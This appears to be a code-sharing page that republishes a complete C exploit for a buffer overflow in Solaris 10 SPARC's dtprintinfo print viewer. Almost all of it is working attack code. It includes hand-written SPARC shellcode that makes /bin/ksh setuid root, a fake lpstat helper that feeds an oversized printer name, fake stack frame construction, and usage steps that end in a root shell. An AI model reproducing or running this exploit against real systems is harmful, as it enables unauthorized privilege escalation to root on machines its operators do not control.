扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 |
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3) # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 SPARC /* * raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC * Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to * local root. Many thanks to Dave Aitel for discovering this vulnerability * and for his interesting research activities on Solaris/SPARC. * * "None of my dtprintinfo work is public, other than that 0day pack being * leaked to all hell and back. It should all basically still work. Let's * keep it that way, cool? :>" -- Dave Aitel * * This is a revised version of my original exploit that should work on * modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain * the needed addresses that's hopefully universal (goodbye VOODOO macros!). * and I had to work around some annoying crashes, which led me to write * a custom shellcode that makes /bin/ksh setuid. Crude but effective;) * If you feel brave, you can also try my experimental exec shellcode, for * SPARC V8 plus and above architectures only ("It works on my computer!"). * * I'm developing my exploits on a Solaris 10 Branded Zone and I strongly * suspect this is the reason for the weird behavior in the execution of * standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1, * in the strncmp() function called by brand_uucopystr(). If that's indeed * the case, any shellcode (including lsd-pl.net's classic shellcode) should * work on physical systems and I just spent a non-neglibible amount of time * debugging this for no valid reason but my love of hacking... Oh well! * * Usage: * $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintname_sparc3 10.0.0.122:0 * [...] * $ ls -l /bin/ksh * -rwsrwsrwx 3 root bin 209288 Feb 212012 /bin/ksh * $ /bin/ksh * # id * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) * # * * Tested on: * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13) */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC" #define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program #define BUFSIZE 301 // size of the printer name #define FFSIZE 64 + 1 // size of the fake frame #define DUMMY 0xdeadbeef // dummy memory address //#define USE_EXEC_SC // uncomment to use exec shellcode #ifdef USE_EXEC_SC char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */ /* setuid(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* execve("/bin/ksh", argv, NULL) */ "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */ "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */ "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */ "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */ "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */ "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */ "\x41\x41\x41\x41" /* placeholder */ "/bin/ksh"; #else char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */ /* setuid(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* chmod("/bin/ksh", 037777777777) */ "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ "\x20\xbf\xff\xff" /* bn,a <sc> */ "\x7f\xff\xff\xff" /* call <sc + 4> */ "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */ "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ "\x82\x10\x20\x0f" /* mov0xf, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* exit(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x01" /* mov 1, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; #endif /* USE_EXEC_SC */ /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int get_ff_addr(char *path, char **argv); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; char platform[256], release[256], display[256]; int i, ff_addr, sc_addr, ret_pos, fpt_pos; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("sprintf"); int rwx_mem = search_rwx_mem() + 24; /* stable address */ /* fake lpstat code */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* get ret and fake frame addresses from environment */ ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); /* prepare the evil printer name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with return and fake frame addresses */ for (i = 0; i < BUFSIZE; i += 4) { /* apparently, we don't need to bruteforce */ set_val(buf, i, ret - 4); set_val(buf, i += 4, ff_addr); } /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for %s: /dev/null\n", buf); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: %s\n", buf); } exit(0); } /* helper program that prints argv[0] address, used by get_ff_addr() */ if (!strcmp(argv[0], "foo")) { printf("0x%p\n", argv[0]); exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if (argc != 2) { #ifdef USE_EXEC_SC fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); #else fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]); #endif /* USE_EXEC_SC */ exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* prepare the fake frame */ bzero(ff, sizeof(ff)); for (i = 0; i < 64; i += 4) { set_val(ff, i, DUMMY); } /* fill the envp, keeping padding */ sc_addr = add_env(ff); add_env(sc); ret_pos = env_pos; add_env("RET=0x41414141"); /* placeholder */ fpt_pos = env_pos; add_env("FPT=0x42424242"); /* placeholder */ add_env(display); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* calculate the needed addresses */ ff_addr = get_ff_addr(VULN, argv); sc_addr += ff_addr; /* * populate saved %l registers */ set_val(ff, i= 0, ff_addr + 56); /* %l0 */ set_val(ff, i += 4, ff_addr + 56); /* %l1 */ set_val(ff, i += 4, ff_addr + 56); /* %l2 */ set_val(ff, i += 4, ff_addr + 56); /* %l3 */ set_val(ff, i += 4, ff_addr + 56); /* %l4 */ set_val(ff, i += 4, ff_addr + 56); /* %l5 */ set_val(ff, i += 4, ff_addr + 56); /* %l6 */ set_val(ff, i += 4, ff_addr + 56); /* %l7 */ /* * populate saved %i registers */ set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */ set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */ set_val(ff, i += 4, ff_addr + 56); /* %i2 */ set_val(ff, i += 4, ff_addr + 56); /* %i3 */ set_val(ff, i += 4, ff_addr + 56); /* %i4 */ set_val(ff, i += 4, ff_addr + 56); /* %i5 */ set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */ set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ #ifdef USE_EXEC_SC set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */ #endif /* USE_EXEC_SC */ /* overwrite RET and FPT env vars with the correct addresses */ sprintf(ret_var, "RET=0x%x", ret); env[ret_pos] = ret_var; sprintf(fpt_var, "FPT=0x%x", ff_addr); env[fpt_pos] = fpt_var; /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret); /* check for null bytes (add some padding to env if needed) */ check_zero(ff_addr, "ff address"); check_zero(sc_addr, "sc address"); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "error: %s contains a 0x00!\n", pattern); exit(1); } } /* * get_ff_addr(): get fake frame address using a helper program */ int get_ff_addr(char *path, char **argv) { char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char hex[11] = "\x00"; int fd[2], addr; /* truncate program name at correct length and create a hard link */ prog[strlen(path)] = 0x0; unlink(prog); link(argv[0], prog); /* open pipe to read program output */ if (pipe(fd) < 0) { perror("pipe"); exit(1); } switch(fork()) { case -1: /* cannot fork */ perror("fork"); exit(1); case 0: /* child */ dup2(fd[1], 1); close(fd[0]); close(fd[1]); execve(prog, arg, env); perror("execve"); exit(1); default: /* parent */ close(fd[1]); read(fd[0], hex, sizeof(hex)); break; } /* check and return address */ if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { fprintf(stderr, "error: cannot read ff address from helper program\n"); exit(1); } return addr + 4; } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "error: sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "error: can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address null bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); } |
体验盒子
